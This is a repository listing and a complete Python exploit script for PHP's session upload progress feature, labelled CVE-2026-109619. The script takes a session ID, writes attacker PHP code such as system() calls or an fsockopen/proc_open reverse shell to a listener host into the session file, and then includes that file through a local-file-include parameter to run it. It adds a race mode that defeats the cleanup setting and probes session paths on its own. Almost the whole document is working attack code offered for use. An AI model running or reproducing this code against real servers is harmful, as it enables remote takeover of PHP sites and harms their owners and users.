Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
687 lines
26 KiB
Python
Executable File
687 lines
26 KiB
Python
Executable File
#!/usr/bin/env python3
|
||
"""
|
||
CVE-2026-109619 — RCE via PHP session upload progress
|
||
|
||
PHP's session.upload_progress feature (enabled by default) writes
|
||
upload progress data to the session file during multipart request
|
||
parsing. The progress key stored in the session is constructed as:
|
||
|
||
session.upload_progress.prefix + $_POST[session.upload_progress.name]
|
||
|
||
The attacker controls the POST field value, and the session file
|
||
serializer (php format) stores the key VERBATIM — the only character
|
||
filtered is '|' (the key/value delimiter). This means arbitrary
|
||
bytes, including PHP code, are written into the session file on disk.
|
||
|
||
The session file path is predictable:
|
||
<session.save_path>/sess_<PHPSESSID>
|
||
|
||
Common default paths:
|
||
/tmp/sess_*
|
||
/var/lib/php/sessions/sess_*
|
||
|
||
Exploitation:
|
||
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
|
||
embedded PHP code: <?php system($cmd); ?>
|
||
2. The upload progress callback writes this to the session file.
|
||
3. Include the session file via any local-file-include vector:
|
||
- Direct include() / require() with attacker-controlled path
|
||
- PHP stream wrappers (php://filter)
|
||
- Log/session file inclusion (a classic PHP attack)
|
||
4. The PHP engine parses the session file, finds the <?php ?> tag
|
||
within the serialized data, and executes the injected code.
|
||
|
||
The exploit automates all steps: it obtains a session ID, injects code
|
||
via upload progress, and triggers inclusion for RCE.
|
||
|
||
Requirements
|
||
------------
|
||
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
|
||
- session.serialize_handler = php (default)
|
||
- Target endpoint calls session_start()
|
||
- An LFI vector OR known session save path + include primitive
|
||
- Tested on PHP 8.0–8.4 x86_64 Linux
|
||
|
||
Usage
|
||
-----
|
||
# Reverse shell via LFI
|
||
python3 exploit.py --target http://target/app.php \\
|
||
--lfi-param page \\
|
||
--session-path /tmp \\
|
||
--lhost 10.0.0.1 --lport 4444
|
||
|
||
# Trigger-only (write code to session, report path)
|
||
python3 exploit.py --target http://target/app.php --trigger-only
|
||
|
||
# Custom command
|
||
python3 exploit.py --target http://target/app.php \\
|
||
--lfi-param page --session-path /tmp \\
|
||
--cmd "id > /tmp/pwned"
|
||
"""
|
||
|
||
import argparse
|
||
import io
|
||
import os
|
||
import socket
|
||
import sys
|
||
import time
|
||
import re
|
||
import threading
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Config
|
||
# ---------------------------------------------------------------------------
|
||
|
||
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
|
||
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
|
||
|
||
DEFAULT_SESSION_PATHS = [
|
||
"/tmp",
|
||
"/tmp/php-sessions",
|
||
"/var/lib/php/sessions",
|
||
"/var/lib/php5/sessions",
|
||
"/var/lib/php/session",
|
||
]
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Multipart helpers
|
||
# ---------------------------------------------------------------------------
|
||
|
||
def multipart_field(name: bytes, value: bytes) -> bytes:
|
||
return (
|
||
b"--" + BOUNDARY + b"\r\n"
|
||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||
b"\r\n" + value + b"\r\n"
|
||
)
|
||
|
||
def multipart_file(name: bytes, filename: bytes, content: bytes,
|
||
content_type: bytes = b"application/octet-stream") -> bytes:
|
||
return (
|
||
b"--" + BOUNDARY + b"\r\n"
|
||
b'Content-Disposition: form-data; name="' + name
|
||
+ b'"; filename="' + filename + b'"\r\n'
|
||
b"Content-Type: " + content_type + b"\r\n"
|
||
b"\r\n" + content + b"\r\n"
|
||
)
|
||
|
||
def multipart_end() -> bytes:
|
||
return b"--" + BOUNDARY + b"--\r\n"
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Payload construction
|
||
# ---------------------------------------------------------------------------
|
||
|
||
def make_php_payload(cmd: str) -> bytes:
|
||
"""Craft PHP code to inject into the session file via progress key.
|
||
The code is embedded in the progress key prefix, so it ends up as:
|
||
upload_progress_<PHP_CODE>
|
||
in the session file. When the file is included, PHP parses and
|
||
executes the <?php ?> block."""
|
||
return f'<?php {cmd} ?>'.encode()
|
||
|
||
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
|
||
cmd = (
|
||
f"$sock=fsockopen('{lhost}',{lport});"
|
||
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
|
||
)
|
||
return make_php_payload(cmd)
|
||
|
||
def make_cmd_payload(cmd: str) -> bytes:
|
||
return make_php_payload(f'system("{cmd}");')
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# HTTP helpers (raw sockets for precision)
|
||
# ---------------------------------------------------------------------------
|
||
|
||
def _parse_url(url: str):
|
||
from urllib.parse import urlparse
|
||
p = urlparse(url)
|
||
tls = p.scheme == "https"
|
||
host = p.hostname or "127.0.0.1"
|
||
port = p.port or (443 if tls else 80)
|
||
path = p.path or "/"
|
||
if p.query:
|
||
path += "?" + p.query
|
||
return host, port, tls, path
|
||
|
||
def _connect(host: str, port: int, tls: bool):
|
||
sock = socket.create_connection((host, port), timeout=10)
|
||
if tls:
|
||
import ssl
|
||
ctx = ssl.create_default_context()
|
||
ctx.check_hostname = False
|
||
ctx.verify_mode = ssl.CERT_NONE
|
||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||
return sock
|
||
|
||
def _recv_response(sock, timeout=5) -> bytes:
|
||
resp = b""
|
||
sock.settimeout(timeout)
|
||
try:
|
||
while True:
|
||
chunk = sock.recv(8192)
|
||
if not chunk:
|
||
break
|
||
resp += chunk
|
||
if b"\r\n\r\n" in resp:
|
||
hdr_end = resp.index(b"\r\n\r\n") + 4
|
||
headers = resp[:hdr_end]
|
||
# Check Content-Length
|
||
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
|
||
if m:
|
||
cl = int(m.group(1))
|
||
body_so_far = len(resp) - hdr_end
|
||
while body_so_far < cl:
|
||
more = sock.recv(8192)
|
||
if not more:
|
||
break
|
||
resp += more
|
||
body_so_far += len(more)
|
||
break
|
||
# Check chunked
|
||
if b'Transfer-Encoding: chunked' in headers:
|
||
if b"\r\n0\r\n" in resp:
|
||
break
|
||
continue
|
||
# No CL, no chunked — read until timeout
|
||
try:
|
||
more = sock.recv(4096)
|
||
if more:
|
||
resp += more
|
||
except socket.timeout:
|
||
pass
|
||
break
|
||
except socket.timeout:
|
||
pass
|
||
return resp
|
||
|
||
def _send_http(sock, method: bytes, host: str, path: str,
|
||
body: bytes = b"", headers: dict = None,
|
||
content_type: bytes = None, keepalive: bool = True) -> bytes:
|
||
conn = b"keep-alive" if keepalive else b"close"
|
||
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
|
||
req += b"Host: " + host.encode() + b"\r\n"
|
||
if content_type:
|
||
req += b"Content-Type: " + content_type + b"\r\n"
|
||
if body:
|
||
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||
req += b"Connection: " + conn + b"\r\n"
|
||
if headers:
|
||
for k, v in headers.items():
|
||
req += f"{k}: {v}\r\n".encode()
|
||
req += b"\r\n"
|
||
sock.sendall(req + body)
|
||
return _recv_response(sock)
|
||
|
||
def _extract_cookies(resp: bytes) -> dict:
|
||
cookies = {}
|
||
for line in resp.split(b"\r\n"):
|
||
if line.lower().startswith(b"set-cookie:"):
|
||
cookie_str = line.split(b":", 1)[1].strip()
|
||
kv = cookie_str.split(b";")[0]
|
||
if b"=" in kv:
|
||
k, v = kv.split(b"=", 1)
|
||
cookies[k.strip().decode()] = v.strip().decode()
|
||
return cookies
|
||
|
||
def _decode_chunked(data: bytes) -> bytes:
|
||
out = b""
|
||
while data:
|
||
line_end = data.find(b"\r\n")
|
||
if line_end < 0:
|
||
break
|
||
size_str = data[:line_end].split(b";")[0].strip()
|
||
try:
|
||
chunk_len = int(size_str, 16)
|
||
except ValueError:
|
||
break
|
||
if chunk_len == 0:
|
||
break
|
||
start = line_end + 2
|
||
out += data[start:start + chunk_len]
|
||
data = data[start + chunk_len + 2:]
|
||
return out
|
||
|
||
def _extract_body(resp: bytes) -> bytes:
|
||
if b"\r\n\r\n" not in resp:
|
||
return b""
|
||
headers, body = resp.split(b"\r\n\r\n", 1)
|
||
if b"transfer-encoding: chunked" in headers.lower():
|
||
return _decode_chunked(body)
|
||
return body
|
||
|
||
def _status_code(resp: bytes) -> int:
|
||
try:
|
||
return int(resp.split(b" ")[1])
|
||
except (IndexError, ValueError):
|
||
return 0
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Exploit phases
|
||
# ---------------------------------------------------------------------------
|
||
|
||
def phase1_get_session(sock, host, path) -> str:
|
||
"""Get a valid PHPSESSID from the target."""
|
||
resp = _send_http(sock, b"GET", host, path)
|
||
cookies = _extract_cookies(resp)
|
||
sid = cookies.get("PHPSESSID")
|
||
if not sid:
|
||
body = _extract_body(resp)
|
||
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
|
||
if m:
|
||
sid = m.group(1).decode()
|
||
return sid
|
||
|
||
def phase2_inject(sock, host, path, session_id: str,
|
||
php_code: bytes) -> tuple:
|
||
"""Inject PHP code into the session file via upload progress."""
|
||
body = io.BytesIO()
|
||
|
||
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
|
||
# fields — PHP processes form fields in order and initialises the
|
||
# progress tracker when it sees this field.
|
||
body.write(multipart_field(PROGRESS_FIELD, php_code))
|
||
|
||
# A file upload is required to trigger the progress write-back.
|
||
# The callback only writes progress data on FILE_START/DATA/END events.
|
||
body.write(multipart_file(
|
||
b"file", b"payload.bin",
|
||
b"\x00" * 8192,
|
||
))
|
||
|
||
body.write(multipart_end())
|
||
body_bytes = body.getvalue()
|
||
|
||
ct = b"multipart/form-data; boundary=" + BOUNDARY
|
||
resp = _send_http(
|
||
sock, b"POST", host, path,
|
||
body=body_bytes,
|
||
content_type=ct,
|
||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||
keepalive=True,
|
||
)
|
||
return _status_code(resp), _extract_body(resp)
|
||
|
||
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
|
||
"""Send a slow multipart upload to keep session file populated.
|
||
|
||
Used for race condition against cleanup=1: the session file contains
|
||
our PHP code during the entire upload. A concurrent request can
|
||
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
|
||
"""
|
||
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
||
sock = _connect(host, port, tls)
|
||
|
||
# Build progress field + start of file upload
|
||
head = b""
|
||
head += (b"--" + bnd + b"\r\n"
|
||
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
|
||
b"\r\n" + php_code + b"\r\n")
|
||
head += (b"--" + bnd + b"\r\n"
|
||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||
b"Content-Type: application/octet-stream\r\n\r\n")
|
||
|
||
file_size = 1024 * 1024
|
||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||
total_body = len(head) + file_size + len(tail)
|
||
|
||
req = (
|
||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||
b"Host: " + host.encode() + b"\r\n"
|
||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||
b"Content-Length: " + str(total_body).encode() + b"\r\n"
|
||
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
|
||
b"Connection: close\r\n\r\n"
|
||
)
|
||
sock.sendall(req + head)
|
||
|
||
chunk = b"\x00" * 4096
|
||
sent = 0
|
||
start_time = time.time()
|
||
try:
|
||
while sent < file_size and (time.time() - start_time) < duration:
|
||
to_send = min(4096, file_size - sent)
|
||
sock.sendall(chunk[:to_send])
|
||
sent += to_send
|
||
time.sleep(0.05)
|
||
sock.sendall(tail)
|
||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||
pass
|
||
try:
|
||
_recv_response(sock, timeout=2)
|
||
except:
|
||
pass
|
||
sock.close()
|
||
|
||
|
||
def phase3_include(sock, host, path, session_id: str,
|
||
session_path: str, lfi_param: str) -> tuple:
|
||
"""Trigger LFI to include the poisoned session file."""
|
||
sess_file = f"{session_path}/sess_{session_id}"
|
||
inc_path = f"{path}?{lfi_param}={sess_file}"
|
||
|
||
resp = _send_http(
|
||
sock, b"GET", host, inc_path,
|
||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||
keepalive=False,
|
||
)
|
||
return _status_code(resp), _extract_body(resp)
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Session path discovery
|
||
# ---------------------------------------------------------------------------
|
||
|
||
def discover_session_path(sock, host, path, session_id: str,
|
||
lfi_param: str, paths: list) -> str:
|
||
"""Try common session save paths to find the right one."""
|
||
for sp in paths:
|
||
sess_file = f"{sp}/sess_{session_id}"
|
||
inc_path = f"{path}?{lfi_param}={sess_file}"
|
||
resp = _send_http(
|
||
sock, b"GET", host, inc_path,
|
||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||
keepalive=True,
|
||
)
|
||
body = _extract_body(resp)
|
||
status = _status_code(resp)
|
||
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
|
||
return sp
|
||
return ""
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Main
|
||
# ---------------------------------------------------------------------------
|
||
|
||
def run(target: str, lhost: str, lport: int, trigger_only: bool,
|
||
cmd: str, lfi_param: str, session_path: str, attempts: int,
|
||
race: bool = False):
|
||
|
||
host, port, tls, path = _parse_url(target)
|
||
|
||
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
|
||
print(f"[*] Target: {target}")
|
||
if trigger_only:
|
||
print(f"[*] Mode: trigger-only (inject code, report path)")
|
||
elif cmd:
|
||
print(f"[*] Mode: command execution")
|
||
print(f"[*] Command: {cmd}")
|
||
else:
|
||
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
|
||
if race:
|
||
print(f"[*] Race: enabled (works with cleanup=1)")
|
||
print()
|
||
|
||
# Build payload
|
||
if trigger_only:
|
||
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
|
||
elif cmd:
|
||
cmd_safe = cmd.replace('"', '\\"')
|
||
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
|
||
else:
|
||
if not lhost or not lport:
|
||
print("[!] --lhost and --lport required for reverse shell mode")
|
||
sys.exit(1)
|
||
php_code = make_reverse_shell_payload(lhost, lport)
|
||
|
||
# Race condition mode: send slow upload + concurrent LFI
|
||
if race and lfi_param:
|
||
return _run_race(host, port, tls, path, php_code, lfi_param,
|
||
session_path, cmd, lhost, lport, trigger_only, attempts)
|
||
|
||
for attempt in range(1, attempts + 1):
|
||
if attempts > 1:
|
||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||
|
||
sock = _connect(host, port, tls)
|
||
|
||
# Phase 1: Get session ID
|
||
print("[*] Phase 1: Obtaining session ID...")
|
||
sid = phase1_get_session(sock, host, path)
|
||
if not sid:
|
||
sid = os.urandom(13).hex()
|
||
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
|
||
else:
|
||
print(f"[+] PHPSESSID: {sid}")
|
||
|
||
# Phase 2: Inject PHP code via upload progress
|
||
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
|
||
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
|
||
status, body = phase2_inject(sock, host, path, sid, php_code)
|
||
print(f" Response: HTTP {status}")
|
||
|
||
if status == 200:
|
||
print("[+] Upload progress request accepted — code injected into session file")
|
||
elif status == 502:
|
||
print("[!] 502 — worker crashed. Retrying...")
|
||
sock.close()
|
||
time.sleep(0.5)
|
||
continue
|
||
else:
|
||
print(f"[!] Unexpected status {status}")
|
||
|
||
if trigger_only:
|
||
print()
|
||
print("[+] Session file poisoned successfully.")
|
||
print(f"[*] Session ID: {sid}")
|
||
print(f"[*] The session file contains injected PHP code.")
|
||
print(f"[*] Common session file locations:")
|
||
for sp in DEFAULT_SESSION_PATHS:
|
||
print(f" {sp}/sess_{sid}")
|
||
print()
|
||
print("[*] To verify, include the session file via LFI:")
|
||
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
|
||
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
|
||
print()
|
||
print("[*] Or check the file directly on the target server:")
|
||
print(f" cat /tmp/sess_{sid}")
|
||
print(f" strings /var/lib/php/sessions/sess_{sid}")
|
||
sock.close()
|
||
return True
|
||
|
||
# Phase 3: Trigger inclusion
|
||
if not lfi_param:
|
||
print()
|
||
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
|
||
print(f"[*] Trigger manually: include the session file via LFI")
|
||
print(f" {target}?PARAM={session_path}/sess_{sid}")
|
||
sock.close()
|
||
return True
|
||
|
||
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
|
||
|
||
if not session_path:
|
||
print("[*] No --session-path given, trying common paths...")
|
||
session_path = discover_session_path(
|
||
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
|
||
if session_path:
|
||
print(f"[+] Found session path: {session_path}")
|
||
else:
|
||
print("[!] Could not auto-detect session path. Try --session-path")
|
||
sock.close()
|
||
continue
|
||
|
||
# Need a fresh connection (the POST consumed the keepalive)
|
||
try:
|
||
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||
sock.close()
|
||
sock = _connect(host, port, tls)
|
||
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
||
|
||
print(f" Response: HTTP {status}")
|
||
body_text = body.decode(errors='replace')
|
||
|
||
if "CVE-2026-109619:" in body_text:
|
||
# Trigger-only canary found in output
|
||
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
||
marker = marker.split("|")[0].split("\x00")[0][:200]
|
||
print(f"[+] CODE EXECUTION CONFIRMED!")
|
||
print(f" Output: {marker}")
|
||
sock.close()
|
||
return True
|
||
elif cmd and status == 200:
|
||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||
if m:
|
||
output = m.group(1).strip()
|
||
print()
|
||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||
print(output)
|
||
print("[+] ══════════════════════════════════════════")
|
||
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
||
sock.close()
|
||
return True
|
||
elif "upload_progress_" in body_text:
|
||
print(f"[+] Session file included but code may not have executed")
|
||
print(f" (serialized session data visible in response)")
|
||
sock.close()
|
||
return True
|
||
else:
|
||
print(f"[!] Inclusion did not produce expected output. Body preview:")
|
||
print(f" {body_text[:300]}")
|
||
elif not cmd and not trigger_only and status == 200:
|
||
print(f"[*] Request sent — check listener on {lhost}:{lport}")
|
||
sock.close()
|
||
return True
|
||
else:
|
||
print(f"[!] Inclusion may have failed. Body preview:")
|
||
print(f" {body_text[:200]}")
|
||
|
||
sock.close()
|
||
print()
|
||
|
||
print()
|
||
if trigger_only:
|
||
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
|
||
elif cmd or (lhost and lport):
|
||
print("[*] Done. If RCE did not fire, check:")
|
||
print(" - session.upload_progress.enabled = 1")
|
||
print(" - session.serialize_handler = php (default)")
|
||
print(" - LFI parameter name (--lfi-param)")
|
||
print(" - Session save path (--session-path)")
|
||
return False
|
||
|
||
def _run_race(host, port, tls, path, php_code, lfi_param,
|
||
session_path, cmd, lhost, lport, trigger_only, attempts):
|
||
"""Race condition mode: works with session.upload_progress.cleanup=1.
|
||
|
||
Sends a slow multipart upload to keep the session file populated with
|
||
our PHP code, while concurrently trying to include it via LFI.
|
||
"""
|
||
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
|
||
|
||
for attempt in range(1, attempts + 1):
|
||
if attempts > 1:
|
||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||
|
||
sid = os.urandom(16).hex()
|
||
print(f"[+] Session ID: {sid}")
|
||
|
||
# Start slow upload in background thread
|
||
print("[*] Starting slow upload (keeps session file alive)...")
|
||
upload_thread = threading.Thread(
|
||
target=phase2_inject_slow,
|
||
args=(host, port, tls, path, sid, php_code, 8.0),
|
||
daemon=True,
|
||
)
|
||
upload_thread.start()
|
||
time.sleep(0.3)
|
||
|
||
# Race: try LFI repeatedly while upload is in progress
|
||
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
|
||
lfi_sid = os.urandom(16).hex()
|
||
print("[*] Racing LFI requests against upload...")
|
||
hit = False
|
||
for i in range(100):
|
||
if not upload_thread.is_alive():
|
||
break
|
||
for sp in spaths:
|
||
sess_file = f"{sp}/sess_{sid}"
|
||
url = f"{path}?{lfi_param}={sess_file}"
|
||
try:
|
||
sock = _connect(host, port, tls)
|
||
resp = _send_http(
|
||
sock, b"GET", host, url,
|
||
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
||
keepalive=False,
|
||
)
|
||
sock.close()
|
||
body = _extract_body(resp)
|
||
body_text = body.decode(errors="replace")
|
||
|
||
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
|
||
hit = True
|
||
if "CVE-2026-109619:" in body_text:
|
||
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
||
marker = marker.split("|")[0][:200]
|
||
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
|
||
print(f" {marker}")
|
||
elif "CVE2026:" in body_text:
|
||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||
if m:
|
||
result = m.group(1).strip()
|
||
else:
|
||
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
|
||
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
|
||
print(result)
|
||
print("[+] ═════════════════════════════════════════════")
|
||
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
||
return True
|
||
elif b"upload_progress_" in body:
|
||
print(f" [+] Session file found at {sp} — content visible")
|
||
if trigger_only:
|
||
print(f"[+] Session poisoning confirmed (race won)")
|
||
return True
|
||
except:
|
||
pass
|
||
time.sleep(0.02)
|
||
|
||
upload_thread.join(timeout=2)
|
||
|
||
if hit:
|
||
return True
|
||
print(f" Race lost on attempt {attempt}")
|
||
|
||
print("[!] Race condition failed after all attempts")
|
||
print(" Try: --attempts 10 or check --session-path")
|
||
return False
|
||
|
||
|
||
def main():
|
||
p = argparse.ArgumentParser(
|
||
description="CVE-2026-109619: PHP session upload progress → RCE",
|
||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||
epilog="""
|
||
Examples:
|
||
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
|
||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
|
||
%(prog)s -t http://target/app.php --trigger-only
|
||
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||
""")
|
||
p.add_argument("--target", "-t", required=True,
|
||
help="Target URL (PHP endpoint with session_start())")
|
||
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
||
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
||
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
|
||
p.add_argument("--trigger-only", action="store_true",
|
||
help="Inject code into session file only — no inclusion/RCE")
|
||
p.add_argument("--lfi-param", default="",
|
||
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
|
||
p.add_argument("--session-path", default="",
|
||
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
|
||
p.add_argument("--race", action="store_true",
|
||
help="Race condition mode — works with cleanup=1 (default config)")
|
||
p.add_argument("--attempts", type=int, default=3,
|
||
help="Number of attempts (default 3)")
|
||
args = p.parse_args()
|
||
|
||
if not args.trigger_only and not args.cmd and not args.lhost:
|
||
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
|
||
sys.exit(1)
|
||
|
||
run(args.target, args.lhost, args.lport, args.trigger_only,
|
||
args.cmd, args.lfi_param, args.session_path, args.attempts,
|
||
race=args.race)
|
||
|
||
if __name__ == "__main__":
|
||
main()
|